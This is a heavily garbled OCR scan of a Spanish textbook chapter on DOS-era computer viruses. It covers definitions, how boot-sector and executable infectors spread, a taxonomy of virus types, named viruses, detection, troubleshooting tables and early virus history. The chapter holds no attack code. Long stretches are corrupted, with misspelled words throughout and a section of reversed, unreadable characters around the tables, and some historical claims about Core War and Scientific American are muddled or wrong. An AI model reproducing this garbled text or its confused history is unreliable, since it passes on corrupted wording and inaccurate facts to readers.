En su bibro What you should knotw about Computer Viruses,
Ralph Burger los define como Un programa que puede mser tar
coplas ejecutables de st musmo en ofros programas. -El programa
infectado puede infectar a su vez olros programas-.

Por su parte, Alberlo Rojas, conocido desarrollador de
software, los identifica en un articulo publicado con el nom-
bre de ;Ya vacuné su PC?, como Todo aquee! cidigo que al ser
ejecutado altera la estructura del software del sistema y destruye
programas o dafos sin autorizacion ui conocimiento del operador.

Ademas, Rojas los agrupa en tres grandes arcas: Caballos de
Troya, Vivus autorreplicables y Esquemas de proteccion. Esta defi-
nicion esta mas cerca de la realidad, pues en teoria todo pro-
grama que tiene capacidad para modificar la estructura de
otro programa y realizar operaciones de sobreescritura en la
informacién que contienen los discos, podria ser un virus po-
tencial.

No obstante, el articulo de Rojas especifica claramente que
los virus nunca piden permiso y jamas avisan de su presencia
en vl sistema o en el programa infectado.

Ya en 1981, en la Universidad de Dortmund, de Alemania
Federal, J. Kraus escribia acerca de la autorreproduccién del
software: Supoiga que A es wn programa vilido que ha sudo escri-
to en el lenguaje B: Siel programa A no tiene entradas y reproduce
su codigo de mdqienna en forna impresa —con exaclitud- o lo copia
en la memorta convencional v RAM, se puede concluir gue ¢l pro-
grama A es —estrictamente— antorreproductivo

Aunque no sc puede aplicar esta definicién a los progra-
mas de virus informéticos, perque un virus no siempre se au-
torreplica exactamente sino que a veces reproduce solamente
ciertas partes de su programa, Kraus s6lo toma en cuenta la
reproduccién del cddigo del programa y no su inclusion den-
1o de otros. Por lo tanto, el awtor considera que las definicio-
1w vinis aceptables son la de Ralph Burger (1} y la del Club de
Virdlogos de Microcomputadoras de Guadalajara {2}, que in-
cluimos a continuacion;

1. Un programa debe clasificarse como virus si combima los
siguientes atributos:

» Modificacion de codigos del software gue no pertenecen
al propio programa virns, a través del enlace de las estruc-

3.4 Como funclonan los virus informaoticos 5 I

turas del programa virus con las estructuras de olros

programas

Facullad de cjecutar la modificacion en varios programas.

Facultad para reconocer, marcindola, una modificacion

realizada en otro(s} programa(s).

» Posibilidad de impedir que vuelva a ser modificado el
mismo programa, al reconocer que ya esta infectado o
marcado.

> El software modificado asimila los atributos anteriores
para, a su vez, iniciar el proceso con otios programas en
otros discos.

-
~
-
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2. Son programas que en forma prevista por sus autores,
causan danos a olros programas, archivos, discos y otras
partes de la computadora, y algunas veces se autorrepli-
can completa o parcialmente.

Para los usnarios que no tienen mucha experiencia en la
programacion y conocen poco de la estructura y funciona-
miento interno de las computadoras, resuita dificil entender
claramente lo que es un programa de viius; sobre todo por-
que existe una gran vanedad de ellos, funcionan de muy di-
versas maneras y producen efectos bastante diferentes,
dependiendo del drea det disco que afecten, ademas, la capa-
cidad destructiva o de perturbacidndel trabajo que tienen los
virus va en funcién de la capacidad de las mentes —creadoras
odestructoras— de sus autores, pudiendo darse el caso de que
al desatarse la destructiva accion del virus, escape al control
de su mismo creador, pues actian parecido a la reaccrén en ca-
dena de Ia fision nuclear.

3.4 Como funcionan los virus informaticos

Como se menciond anteriormenle, jos virus informadticos tie-
nen muchas formas de operar. Aqui intentaremos dar una
idea clara de la forma mas general de funcienamiento de los
programas de virus. Para ¢llo, hay que empezar por conocer
cémo funcionan la mayoria de los programas de aplicacion
que ulilizamos diariamente

Estos programas, que [lamaremos normales, operan cast
todos de manera semejante y se ejecutan tan pronto se teclea
su nombre de archivo —sin necesidad de teclear 1a extension-
y se pulsa Z]. Por cjemplo, para cargar Works ~de Microsoft-
en la memona de la computadora, —cuyo archivo e¢jecutable
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sc denomina WORKS EXNE-, basta con tecloar Works y pulsar
2 De la misma manera funcionan casi todos los archivos
cjecutables,

El programa se carga de inmediato en la memoria conven-
cional o RAM, v permanece ahi nuentras se mantengn encen-
dida la computadora -y no se le mdique que deseamos
terminur su ejecucion-. El procedimiento correclo nara sahir
deun programa no sélo se encarga de benrarlo de la memona,
sino que tambicn cierra apropladamenie todos los archivos
que éste manteiia abierlos para grabar o leer la informacion
necesana Finahimente, s1los hay, borra de los dhisquetes o del
disco duro, los mchivos tenporales que crean ciertos progra-
mas de apheacion durante la sesidn de trabajo.

Los programas de virus no se ¢jecutan de la misma forma,
sino que se infiltran en el sistema cuando algen introduce
un disee oifechido a la unidad de disquete v trata de inicializar
la computadora ubhizindelo; o cuando <o cjecuta unoe de los
programas infectados que ese disco contivne. Inmediatamen-
te el virus busca alpjarse en la memoria RAM de I computa-
daora, infectar el drea de carea (boot) del disco, ta tabla de
asignacion de arcinos, FAT (I71e Allocation Table), Jque con-
Liene todes tos datos de ditecaonamicnto de tos archivos, o
los programas ¢jecutables con eatension COM v EXE -aun-
que algunos virus de las nuevas gencraciones infectan los
ejecutables avvaliares como BAT, OVR, OV, DLL v otros—

Lo antenior no significa que el virus we vaya a ejecular en
€5¢ precisomontento, sino que el sistema ha sido infeciado. B
virus puede actuar inmediatamente, o ben CSPCTAr 3 (U sC
den las condiciones o sedales propicias que fueron progra-
madas en su codilicacion. Hay virus que esperan una deter-
minada fecha u hora, o a ejecucion de dlguna orden o
comando; otres activan un contador (counter) en el momento
de la inteecion v cierto tiempo después comienzan su accion
destructiva.

Algunos virus, al infectar un disco flevible (Hoppy chsk) o
uno dure (hard disk), se alojan en ¢l sector 0, en el drea deno-
minada sector de caren (Boot sector), ¥ sC posicionan e Ja me-
moria de la computadora cuando se hace la caea (Root) del
sistema, o nciuso cuando solamente se hace un imtento de
cargaconcldiscomiectado, £neste caso, o] vicus ifonmidtice
toma el controt de la computadora desde ol paineipio vodlesde
ese momento, todo disce quedard infectado al realizar cual-
quier acceso de lectara o esciitura con cualguiera de los co-
mandos Copy. Dir, Formal, vte

Figura 3.2

Los virus esperan
una senal como
una fecho o unG
hora
determinada.
para achvarse,
oungue desde
un principio
infectan todos
los discos que
estén en
contacto con
ellos cuando
estén en la
mermona de la
compuicdora.
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Otros virus infectan los programas ¢jecutables —con exten-
stones (COM o EXE- v se mstalan en la memona cuando se
ejecuta el programa infeclado. Una vez en la memoria, of vi-
rus controla todos los accesos de lectura y grabacion en los
discos y, la mayoria de las veces, aungue se dd por terminada
la ejecucion del programa intectada, el virus seguird en la
memoria de la computadora, por lo gue cualquicr programa
que se ejecute quedard también infectado. o

Al cjecutarse un nuevo programa, el virus \’urim}lﬂ S1gste
ya ha sido ivfectado v st contiene el byle marcador. 5i no en-
cuenlra esta marca, procede a modificar el programa ejecula-
do y le contagia ese byte marcador La ifeccidn consiste en
almacenar una copia de si nusmo en el progranma, la cual ser-
vird para que al ejecutar este nuevo programa infectado, a su
vez se reproduzca en olros programas.

En este proceso, difictl de dedectar, se pierde parte de]’ pro-
grama infectado porgue el virus ocupd ese lugar; lo mis re-
comendable es reinstalar ¢ praograma original para que
funciene correctamente. El usuaio Juinico que pudo haber
nolade al momento de la miceardn, es que La luz de b unidad
de disco en uso se enciende para indicar un acceso al disco
cuando el virus grabao ahi el byte marcador y su nacieo,

Ala vez que se ha creado toda una industria para progra-
mar esquemas de protecaion, se han dcsarm_llndo programas
que permilen hacer copias de casi todo sofhware de aphcea-
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cion, burlando tales protecciones, por lo que algunos progra-
madores han basado la proteccién del programa en los conta-
dores (counters) que llevan un registro del nimero de copias
que se han hecho de un programa. Asi, cuando el usuario co-
pia un disco original, el contador indica que se ha llegado a
un niimero 1 de copias y si coincide con el nimero maximo
permitido, desata la accién del virus,

3.5 Clasificacion de los virus informaticos

Los programas vfrulentos inicialmente se agruparon en dos
grandes categorias: Caballos de Troya y Bombas de Tiempo, aun-
que cada investigador del fenémeno hace su propia clasifica-
cion. La verdad es que independientemente de si uno
clasifica o no como virus a un cierto tipo de programa da#i-
no, se puede considerar como tal, desde el momento que pro-
duce efectos nocivos en la pantalla o en el sistema.

L.a Computer Virus Industry Association, que estd integra-
da por compaiiias y programadores que fabrican software
dedicado a la prevencidn, deteccién y erradicacién de virus,
los agrupa en tres clases: Infectores del drea de carga inicial
(boot infectors), Infectores del sistema, e Infectores de progranias
gjecutables (extensidon .COM o EXE). Existen también fos de-
nominados Gusanos, Virus ldgicos y algunos otros, sobre los
cuales ya se han realizado investigaciones muy serias, de
dopdd-z han salido categorias como las que se detallan en se-
gulda:

» Caballos de Troya. Son aquéllos que se introducen al sis-
tema bajo una apariencia totalmente diferente a la de su
objetivo final; esto es, que se presentan como informacion
perdida o basura, sin ningun sentido. Pero al cabo de algiin
tiempo, y esperando la indicacién programada, despiertan y
comienzan a ejecutarse y a mostrar sus verdaderas intencio-
nes. También pueden aparentar ser un programa de juegos
o entretener al usuario mostrando pantallas espectacula-
res y sonidos agradables, mientras realizan operaciones
daninas para el sistema.

En general, estos virus son destructores de la informacion
contenida en los discos.

Bombas de tiempo. Son programas ocultos en Ja memo-
ria del sistema o en los discos, dentro de archivos de pro-
gramas ejecutables con extension .COM o .EXE. Esperan
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una fecha o una hora determinadas para explolar. Algunos

de estos virus no son destructivos y sélo exliben mensajes

en la pantalla al llegar el momento de la explosidn. Llegado
el momento, se activan cuando se ¢jecuta el programa que

-las contiene.

Autorreplicables. Son los programas de virus que reali-

zan las funciones mas parecidas a los virus bioldgicos, ya

que se autorreproducen ¢ infectan los programas ejecuta-
bles que encuentran en el disco. Se activan en una fechau

hora programadas o cada determinado tiempo, contado a

partir de su dltima ejecucion, o simplemente al seniir que

se les trata de detectar.

Ejemplos de dstos son el virus def wiernes 13, que se cjecuta

en esa fecha y se borra —junto con los programas infecta-

dos-, evitando asi ser detectado, o el Michelangelo, que se
acliva los dias 6 de marzo.

Esquemas de proteccién. Aunque no son propiamente
virus destructivos, son dafiinos porque se activan cuando
se ha copiado o se intenta copiar un programa que estd pro-
tegido confra copin. Esto provoca que se bloquee el mismo, al-
terando su estructura original o dafando los archivos, de
manera que resulta muy dificil su recuperacion.

Los virus promocionales cacn bajo esta categoria 'y actdan
permitiendo que una copia ilegal trabaje correctamente. Al
cabo de algun tiempo, cuando el usuario ha ¢reado bastan-
tes archivos importantes, modifica su estructura y no per-
mite que la computadora siga funcionando correctamente.
Ello obliga al usuario a comprar el programa original si
quiere seguir utilizando la informacién que cred con la co-
pia pirala.

3 Infectores del drea de cargainicial. Infectanlos disquetes

o el disco duro, alojindose inmediatamente cn el drea de
carga, o sea en el sector 0. Toman el control cuando se en-
ciende la computadora y lo conservan todo el tiempo.
Si al darnos cuenta de la presencia de un virus, intentamos
reinicializar (reboot) la computadora mediante las teclas
+[AT) +fo] . para proceder luego a inicializarla con un
sistema operativo que no esté infectado, Ja mayoria de las
veces, el virus permanece en la memoria del sistema e in-
fecta al disquete inmediatamente, si éste no esta protegido
contra escritura, El virus Alabama es un caso tipico.

» Infectores del sistema. Se introducen en los programas
de sistema como por ¢jemplo el COMMAND.COMy otros
que se alojan como residentes en memoria, o los archivos

w
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y

controtadores de dispositivos =con extension 5YS- ¢ in-
fectan fambién los archivos ejecutables.

El orrus Natas ~que deletreado al revés significa satan-, es
uno de cllos, razon por la cual se denomina virus polimorfo
(Polimorphic virus) y multipartita; es decir, que infecta de
muchas mancras.

Infectores de programas ejecutables. Eslos son los virus
mds peligrosos, porque se diseminan ficilmente hacia
cualquier programa —comw hojas de cilculo, juegos, proce-
sadores de (extos, ete— inctuyendo una copia de si mismo
en ellos,

La infeccion se produce al ejecutar el programa que contie-
ne el virus, que en ese momento se posiciona en la memo-
ria de la computadoera v a partir de entonces infecla todos
los programas cuya extension sea EXE o .COM, en el ins-
tante de cjecutarlos. Esta operacion pasard madvertida
para el usuario, pues él solo verd que ta fuz de launidad de
disco esti encendida, lo cual solamente indica que se estd
cargando ol programa en la memoria de la computadora.
Aunque la mayoria de estos virus ¢jecutables marca con un
byte especial los programas infectados para no wotver a rea-
lizay el proceso en el wnamo disco, atgunos de ellos —como ¢l
de Jerusalén- se duplican tantas veces en el mismo progra-
ma y en el musmo disco, que Hegan a saturar su capacidad
de almacenamiento.

Gusanos. Son programas que se reproducen a si mismos y
no requieren de un anb:trion, pues se arrastran hieralmente
por todo ¢l sistema sin necesidad de un programa que los
transporte. Los pusanos se cargan en la memoria y se posi-
cionan en una determinada direccién, luego s¢ copran en
otro lugar y se borran del que ocupaban, y asi sucesiva-
mente, esto hace que queden borrados los programas o 1n-
formacion que encuentran a su paso por la memoria, lo
que causa problemas de gperacidn o pérdida de datos.
Haked. Se denomina deesta manera a una copia ilegal de
algun software conocido, que ha sido modificada pero pa-
rece legilima; al ¢jecutar esta copia se producen problemas
y darios en el sistema

Recibe ese nombre debido a que probablemente es un hac-
ker el que realiza las modificaciones al programa ornginal,
Y la ma)’nria de los casos conocidos son acerca de prugra-
mas antivirus modificados; de esta manera, usted cree que
soluciona ¢l problema de un virus, cuando realmente se
estd cchando otro encima.

-
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Virus logicos. Son programas normales que si no se ma-
nejan con cutdado pueden producir danos en la informa-
cion, maodificindela o borrandola vy tomando su lugar. Por
ejemplo, puede darse el caso de renombrar un programa o
un archive de datos para que tome el lugar que ocupaba el
anlerior archive con el mismo nombre, o ol virus logico
mas conocido gue es: Del %, v que tiene el comsmo de pre-
guntar ;i wsted seguio? (S/N)

Reproducimos aqui una graciosa clasificacion de los virus

informdticos -y no por ello menos realista m representativa-,
publicada por el C. I Marco A. Merino en la revista Expan-
s16n, hace ya varios anos

s

A\t

Virus benignos. No acasionan danos pero resultan mo-
lestos poirgue, al estar trabajando, envian un mensaje navi-
deno o de cualquier otra clase =El virus del pimy pony o de
la pelotita, por ejemplo, es uno de estos— Adecir verdad, no
puede haber virus bemgnos, ya que al cansar molestias al
mamento de trabajar, dejan de serlo.

Virus burlones, Una vez realizadas sus techorias o danos
a la informacién, visualizan un mensaje en la pantalla que
avisa butlonamente de su travesura, como ¢l FGABTR,
que despuds de borrar las archivos del disco duro presen-
taba el mensaje Arf! Arff Got youe,

Virus cadticos. No destruyen archivos ni programas,
puro ocasionan dafios al sistema, provocando su caidn.
Virus crecides. Marcan los scctores infectados como da-
nados, disminuyendo considerablemente la capacidad de
almacenamtiento del disco.

Virus descarados. Una vez realizada su accidn, envian
mensajes burlones ¢ incluyen el nombre, direccién y telé-
fono de su auler o aulores.

Virus estadisticos. Llevan un contador con la relacion de
las veces que haninfectado otros discos o las veces que han
sido copiados.

Virus fisicos. Se conocen lus que danan el monitor y los
que ocasionan danos a las cabezas de lectura/grabacion de
las unidades de disco, hacidndoelas trabajar constantemen-
te hasta que se queman,

Virus juguelones. Los que contagian a las computadoras
mediante la copia de unsimple programa de jucgos.
Virus maldilos. Cuandoinfectan un disco, verifican la can-
tidad de mformacion contenida en ¢l y, st es poca, esperan
a que se Hene el disco para empezar su accion destructiva
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» Virus misteriosos Bloquean partes del equipo, simulan-
do una falla de hardware no causada por un virus,

Virus mutantes. Son los que al infectar realizan modifica-
ciones a su cédigo, para evitar ser detectados.

Virus resenlidos. Son los que desarrollan los programa-
dores de una empresa, cuando son despedidos del trabajo
o son cambiados a un puesto menor.

Virus simples. Entran en accién sin ninguna presenta-
cién, borrando programas o archivos de informacién.
Virus supervisores. Los claboran las mismas empresas
para detectar a los empleados que realizan copias de pro-
gramas sin autorizacion.

Virus temporales. Esperan una fecha, o una hora en par-
ticular, para activarse.

Virus vengadores. Son creados por ciertos fabricantes de
software, y generalmente destruyen datos relativos al mis-
mo programa. Se activan cuando se trabaja con copias ile-
gales o piratas del programa

Virus viajeros. Tienen la capacidad de viajar por cualquier
medio de comunicacién a distancia, como por ejemplo, los sis-
temas de telecomunicacién, comunicaciones por médem, etc.
Permanecen activos principalmente en las redes.
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Los virus infectores del sector de carga mas conocidos y di-
fundidos en todo el mundo son el de Turin o ltaliano, el Pa-
quistani o Brain, el Stoned, el Michelangelo, Alameda, Den
Zuk, y ultimamente el Natas, que actiia ademds como infec-
tor de programas y de sistema.

El virus de Turin presenta una pequefia pelotita rebotando
en la pantalla cuando se acliva, y hasta ahora no se conoce
alguna version modificada que produzca efectos nocivos so-
bre la informacién contenida en los discos. Actuaimente este
virus se ha fusionado con otros infectores del drea de carga y
parece que ha quedado obsoleto; es decir predeminan otros
virus que cuentan con funciones adicionales en su codigo.

Por otra parte, como se menciond anteriormente, los virus
infectores de archivos ejecutables que mds se conocen son el Je-
rusalén o del viernes 13, Cascada, Dark Avenger, Devil’s Dan-
ce, Fu Manchd, Oropax, Vienna, y el multimencionado Nalas.

3.6 CoOmo detectar infecciones virales

Al reconocerse la existencia de los virus informaticos, ha pro-
liferado una industria dedicada a elaborar programas y siste-

-
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mas de proteccién para usuarios personales y para indus-
trias, bancos o empresas. Esto no basta para detener a los “in-
teligentes” programas virulentos que invaden a veces redes
completas de institutos y centros de estudio.

La gran cantidad y variedad de virus existentes, hacen
cada vez mas dificil su deteccion y erradicacion. Algunos
usuarios de computadoras piensan que si cuentan con un de-
terminado programa antivirus protegen integramente su sis-
tema de la presencia de los molestos virus, incluso sabemos
de usuarios que siguen tratando de proteger su computadora
utilizando detectores como Virccrna o Scan version 67 de McA-
fee, cuando estos sélo detectan el virus de 1a pelotita el pri-
mero, y unos cuantos virus el segundo.

Nada mas alejado de la realidad, ya que los virus nuevos
;como los van a detectar?, jy ya son mas de 4 000!, ;los virus
que se esconden en la memoria superior de la computadora?
-los antivirus anteriores solamente revisaban 512 0 640 kB de
memoria-, ;los virus que infectaron los archivos ejecuta-
bles?, crecieron en tamano estos archivos y les cambiaron la
fecha. Y muchas mads vanantes de formas de operacién y con-
tagio que no pueden reconocer todos los antivirus actuales,
imucho menos los anteriores!

Cada virus es un progranm diferente, con cddigo de programa-
cidn diferente e infecta diferentes dreas de los discos, por lo que se
requieren diferentes tipos de programas antivirus para con-
trarestarlos. Aunque se pueden tomar medidas o utilizar
programas detectores de virus que actiian de manera general
para avisarnos de actividades anormales o sospechosas en
nuestra computadora. Los programas que no permilen que
se infecten los discos se denominan vacnnas, por su similitud
con las biologicas.

Otras medidas de proteccién y los programas antivirus se
analizan con mas detenimiento en los capitulos 5y 9. En el
capitulo 8 se incluye una lista con los virus conocidos mds ex-
pandidos en Latincamérica, y obviamente en los paises euro-
peos y Estados Unidos, con sus principales caracteristicas y
métodos de deteccidn y erradicacion.

3.7 FEdilas que no se deben a infecciones virales

No todas las fallas de Ia computadora se deben a problemas
virales; muchas son producto de falsos contactos entre las co-
nexiones de la unidad central de proceso con los equipos pe-
riféricos: el monitor, la impresora, el teclado, las unidades de



61

37 Fallos que no se deben ainfecciones viraiey

Qué son ios virJs Informancos

60

i

i

BN _

-5 m:cou :o_uuu_o_a ap e1anbug) g) e_u:cw_n e EESO

RINIISE enuod opib

10413 120104d 2IupA)
BINILDSS BAUGS
! uoIasadIoud Bf op

’ {{x) aaup Buipem
!

co_om_:nEou UQd JOSISE Un _
ap o "opadxd 021UdM UN 0 soprweiford unfie Ap UPIDLATE |
| op 21nbhI) J0UD 150 OJudW|BIDUDD JOPINgINSIPp ‘
ns e n:_:m:ou ‘a1uabin B183 unt odinha 1op enueits gy

(w1 uo) edu Ua Msa 0L O Ad !
.mn eluol ou ‘epefiede ais0 _iosoidwn £) anb 1as wuo:n_

FIUoWeABNY Jiudw 3juditn o_uotonmau 12 elnon !

'

OpRIIBD
2150 Ou 0JSIP 90 PEMIUN | Op 0)1150d |2 &nY 195 apang
0DSIp ap Pepiun By ud ajonbsip |0 aluawel1d1:0d oLasu| |

BOLII(193d5a CISIP P pEPIUN B
ud EDE_. cu opeligisedun 8a 88 $OQ OANEI0D0 BWAISIS (T

“

epuziesoual ejey

|ensn 0250d 018 UN OPLIN2A BH _

(10019 121ullg)

) E:u
Buip2as sona Apeds
lon) (ugtoeqes ap
o) eiNuUIsSa ap 103

ugIde|olA ap O1udly)

(1010 aiN)Ie) |BIGLID)

105w m._ ua ho:m

500 oamiesodo BWBISIS (9P BIZ0D BADNL BUN BESRY
"BUDIONOS 05 OU 1S eropeindwod e (Joogal) ddeIDILaY

WO ONYIWWOD
SOpuURwWoD op 10pESYo0ud o cwesbold |2 pfiep as opN

BLIOWRW 3P
:o.omcm.mm op 1ou3

005ip |2 Jeiedas Raed (HSOMHD
occmEou 12 au__:: oum_u 010 B S0AIYIE 5O SOpGI Mden)

osoniaajap J0120s unbie ouan

0352 11S LA SCANYZIR 2P upIEVEISE AP SBIgE] Sl 9P BUN | 059MI2012p 0357

21N128| 0p © uoioequib ap 505003 SOAIS0IXE
SIUAWDIUANIBL 1BNSUOD 0139 & eA | sop1od atanbsip un ap cpebBuojord osn |3 BuOISEIO Anb
ou pdIsn 9Nb souENLW SoAIYdIe 1RUAIBL R BIRd JBSN Lagop | oiseBsop e opigap 0paans 0ise 'aluawiRIGUDY) SOPRIDYE
a5 ‘solaia Anw uduod 25 SOISP OPUBND SXANLSIP SOWSIW ; 0 SOPRIIOG URISE (Y4 '8|qBL uDIED0|Y 3)l4) SoAysie
mE —S0UR S01EA 10d- BRENUIUOD BJIUBW AP 22N ON _ ap co_umcm_mm ap eiqe; e| ap (s:auviod) saiopejunde so

SOpELIOY S0AYdIE
SEW G OoUn U

oum_._uoun o:o_uo:un:w_u _
ua 25oNbIgN © '2IUGWIC|I31100 CAIDIE (9P DXQUI0U D 921D |

21URIRLOdSalI03 QUOLRNIEGNS [ ua opuel
.mn_E_ TIS9 OU O ‘0AIYDIE (8P 21QWIOU (D {BW POISN 09}20} |

UE mc: wo ou_mc_oa o 2unjuasa 24u03 opibaycad ermoay
0281 12 el201d53p 0 GINQUIE |2 DG | 0/0S IP GINGUIE LOD OATYDIE UN JeZE|dWdds an uu"m: oesy

_ {punoy 1oy apd)

OPEIUDIU OU DAY

Em,cuu 55820y
opebouap osandy

uolan|os ajgeqold ki ©(12} 9)g150d Ij ews|qold

L€ OIaoY

con

hivos,

en al tratar de copiar uno ¢ mas arc
sted use-. Tam-

indica ¢l mensaje Seclor
os borrados, sobrees-

¢ error o informativo
de variar de acuerdo

disco, etc. Otras fallas, como la que
no encontrado (Sector not found), archiv

critura en la inform

contienen los archivos, o pro-
s de las fallas y la solu

ativo DOS que u

algunos problemas relacionados con

de ecror o informativo que aparece —
cuerdo con la version del sistema ope-

use usied—. También se indican las posibles

as y la solucién probable.
antalla —éste pue

acion que
o ocasionadas por el usuario.

del sistema oper

alizaenlap

En la tabla 3.1 se seialan algunos problemas comunes del
variardea

La tabla 3.2 muestra
fallas fisicas del sistema, y el mensaje d

te puedo
rativo DOS que

causas de las fall

blemas que aparec

puede que hayan sic

sistema, y el mensaje

que se Visu

a la version

bién se indican las posibles causa
probable.

és

Con esle tipo de
enes se

Imag
forma de octuar

Figura 3.3
representala
simllitud de la
de las
programas
virales y sus
vacunas.
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Problema

s - - B

P Y- Posible falta % L] pa T2

. .2 Probable salucién?t-HETR, %

Memaoria (suiiciente
(Nol Enough Memory)

No exisie la suficiente cantidagd de memona disponible en i Desaclive alguno de los programas resigentes en memona
{Terminate and Stay Resident, TSPR) que este unhzando, y

su computadora para el programa que inlenta ustad |
ejecutar

remnicialice (Reboot) la computadora

No se carga el
sisiema operalivo en
la computadora
{Non-DOS disk error)

Puede ser que el sector de carga (boot secter) de su disco
este dahado, 0 1ambien que na haya inscrtago usied al
disco de s15tema en la unidad de disco A

Intente corregir el delecto ctel disco con algun programa de
utihdad como par ejemplo el Doctor de Disco Norton (Nor-
ton Disk Doctor, NDD) de Nortgn Utiiies, en ¢l otro caso
insene el disquele del sistgma operauvo en la umdad A

Se le dificulta copiar
un archivo cualquiera
al subdireciono
desecado (Invald Path
or Filenama)

Tal vez olvidé incluir la via de acceso (path) al directonic de
desiing

Direccione correctamente el destine de la copia incluyendo
la via do accese (paih) en el comando

Pista 0 defeciuosa o
medio magnetico no
valido, disce
inutiizable {Track 0
bad Dhsk unusable)

El comando FORMAT del sistema operalivo DOS tiene la
capacidad para deteclar cualquier seclor danade (bad
sector) y marcarlo como tal, exceplo el sector Q, el cual
slempre debe estar en buen estado, pues en el so aloja el
pragrama de carga (bool programj

Elunicc remedia consista en desechar el disquets

44
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Tabla 3.2

% Probable soluclén <5 ¢ T ]

bloqueado y no
responde a mnguna
pulsacion

que el problema sea un faise contaclo o que las conexicnes
del teclade eslen defecluosas

Problema | L omcd i RED Poglible falled s i, L ey .
Eiteclado se 51 el leclado se bloguea repentnamente o al encender la | Revise las conexiones o intente usar alro cable Siesto no
encuenlra compuladara esta presenta un mensaje de error, puede ser | soluciona el problema, habra que impiar €l leclado. pues es

posible que e! pelvo haya bloqueaco la senal

Elteclado no
genera el caracler
asoclado con ta
lecla que usted
pulsa

Quizas el teclado esla conligurado para un modo diferente
de texto Por ejemplo, si usted usa el teclado estandar para
el inglés de Estados Unidos, puede que esté configurado
con el comando KEYBSP (en espanal); por ello. al presionar
las teclas, en respuesta aparecen caractergs diferenles a
los esperados

Verthgue el hipo de teclado que tiene su computadora Com-
pruebe el archivo AUTOEXEC BAT para ver st conlieng el
comando KEYBSP Cercidrese de que el paguels o pro-
grama que esld ejecutando no modiigue la configuracidn
ongmal del leclado Consulle su manual de operacion

Error de pandad
{Panty errar)

Este error puede ser causado per lalla lisica en la memona
convencional p RAM {Random Access Memory)

Existen diversos programas para el diagndshco de errores
del sistema o de los peniénicos de su computadora Intente
delectar |a falla con algunc de ellos 0 solicite ayuda de un
técnico

Etroren la
operacién de los
programas o

Esta tpo de error es generalmente causado por ef usuang y
produce diversos efectos Estos van desde la sobreescn-
tura accidental da un archive hasla la modiicacidn de datos,

pagueles o incluso la imposibihdad de acceder al dis¢co o0 de mo-
integragos de alficarlos
soltware

programas o paguelas onginales, los cuales cas siempre
$8 acomparian de manuales claramenle explicados

Error en Ja unidad
de aisquele

La cabeza de lectura/ grabacién de la unidad de disquetes
puede estar muy sucta o desalineada

Limpie peniédicamertia 1as cabezas de lectura’/grabacién de
la(s) unidad(as) de disquetes. Reailice un mantemimanto
preventivo que incluya la alintacion de las cabezas de
lectura/grabacion

¢ durd

Error ¢n at disco lyo

Puede ser que algun movimiento brusco en su mesa de tra-
bajo haya dafado el disco Mo

Intente rescatar la informacion del sector dafiado usando al-
gun programa de ulidades, y copiela a otro sector que se

defectuoso para que no se grabe nuevamente inlormacién en
el -algunos programas de ulihdades haran esto por usted—

]
La mejor solucion a este problema o5 que ulibcemas sdlo

|

encuentre en buen estado. Seguidamaornte marque el sector
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a

Acausn del misterio que envolviéd a estos daiinos progra-
mas duranlie muchos afios, no existe ninguna informacién
fidedigna que permita reconstruir con exactitud la historia
de los virus y los contagios virales Las empresas, institutos
de investigacion, agencias gubernamentales ¢ instituciones
educativas que ya habian padecido alguna infeccién por vi-
rus, lo negaban, para no reconocer que los sistemas de segu-
ridad implantados con grandes esfuerzos v considerables
sumas de dinero -y que se suponia que nadie ajeno al sistema
podria burlar—, de pronto se veian infiltrados por agentes te-
rroristas informaticos,

Solamente una serie de hechos v nombres aislados se ha-
bian difundido en los medios especializados, como revistas
de computacion o cientilicas, pero daban una insuficiente vi-
sion del proceso de desarrollo de la vrrolagin informdtica; sin
embargo, enseguida trataremos de dar una clara idea de la
evolucion de los virus informaticos, sobre los cuales, cada
dia se sabe mas, gracias a las investigaciones realizadas por
personas que, como el Ingeniero Fernando Sudrez Arias del
Club de Virélogos de Microcomputadoras de Guadalajara,
A.C,, se preocupan y luchan desinteresadamente contra este
enemigo de las computadoras.

4.1 Historia de los virus informdaticos

En 1949, John von Neumann, Padre de la Computacion, descri-
bid aigunos programas que se reproducen a si mismos en su
libro Theory and Organization of Complicated Automala. Esto,
aunque no se enfocaba a la creacidn de programas que se di-
seminan sin permiso de los usuarios de computadoras, si no
es el comuenzo de los virus, si es el primer indicio de cédigo
autorreproductor.

En cambio, ia primera informacién de programas que in-
cluyen cédigos que trabajaban como virus, nos remonta a la
década de los afios 60, y es acerca de los estudiantes de com-
putacion en el Instituto Tecnoldgico de Massachusetts, ITM.
Para ese entonces, ¢l término hacker se traducia como progra-
niador gemal, no como ahora que se utiliza para nombrar a los
piratas, o en su mejor acepaidn, se refiere a personas talento-
sas que se entrelienen infiltrindose en los sistemas de las
grandes empresas, hecho que representa un refo para su inte-
figencia.

Los jovenes estudiantes se reunian por las noches y se de-
dicaban a elaborar cédigo sofisticado, asi se desarrollaron nota-
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bles programas, como Guerra en el espacio (Space War), Ya que
uno de sus pasatiempos favoritos era jugar amistosamente en-
tre ellos con programas que fos demds no pudieran detectar.

Ademds, bombardeaban al programa del contrincante, que
no sabia de dénde recibia el ataque v qué lo provocaba. Estas
madificaciones que se hacian a los codigos de los programas
ajenos no eran propiamente virus, sino bombas que acluaban
explotando inmediatamente,

En esa misma década, varios cientilicos estadounidenses
de los laboratorios de computacién de la AT&T (IBell Labora-
tories). 4. Douglas Mellory, Robert Morris Sr., Victor
Vysottsky y Ken Thompson inzgentere o sistemas, creador de
la primera versién del sistema Unix, para entretenerse inven-
taron un juego al que llamaron Core War (Guerra nuclear),
inspirados en un programa escrito en lenguaje ensamblador
Hamado Creeper, el cual tenfa la capacidad de reproducirse
cada vez que se ejecutaba.

El juego consistia en invadir la computadora del adversa-
rio con un cédigo que conlenia una serie de informaciones
destinadas a destruir 1a memoria del rival o impedir su co-
rrecto funcionamiento

También disenaron otro programa tamado Reeper, el que
seria el antivirus -en ese momento-, cuya funcién era la de
destruir cada copia hecha por Crecper. Estaban conscientes de
la peligrosidad que el juego representaba para los sistemas

de computacién y se promelieron mantenerlo en secreto,”

pues sabian que en manos irresponsables, el Core War podria
ser empleado nocivamente,

Sin embargo, en 1983 ¢l Dr. Thompson, durante una alocu-
cién en la Association for Computing Machinery, da a cono-
cer la existencia de esos programas de virus, con detalles
acerca de su estructura La revista Scientific American lo pu-
blica en su articulo Comprter Recrealions en el nimero de
mayo de 1984, ofreciendo por 2 délares las guias para la crea-
cion de virus propios.

Desde el ano de 1974, Xerox Corporation presentd en Esta-
dos Unidos ¢l primer programa que ya contenia un codigo
autoduplicador. Los equipos Apple Il se vieron afectados a
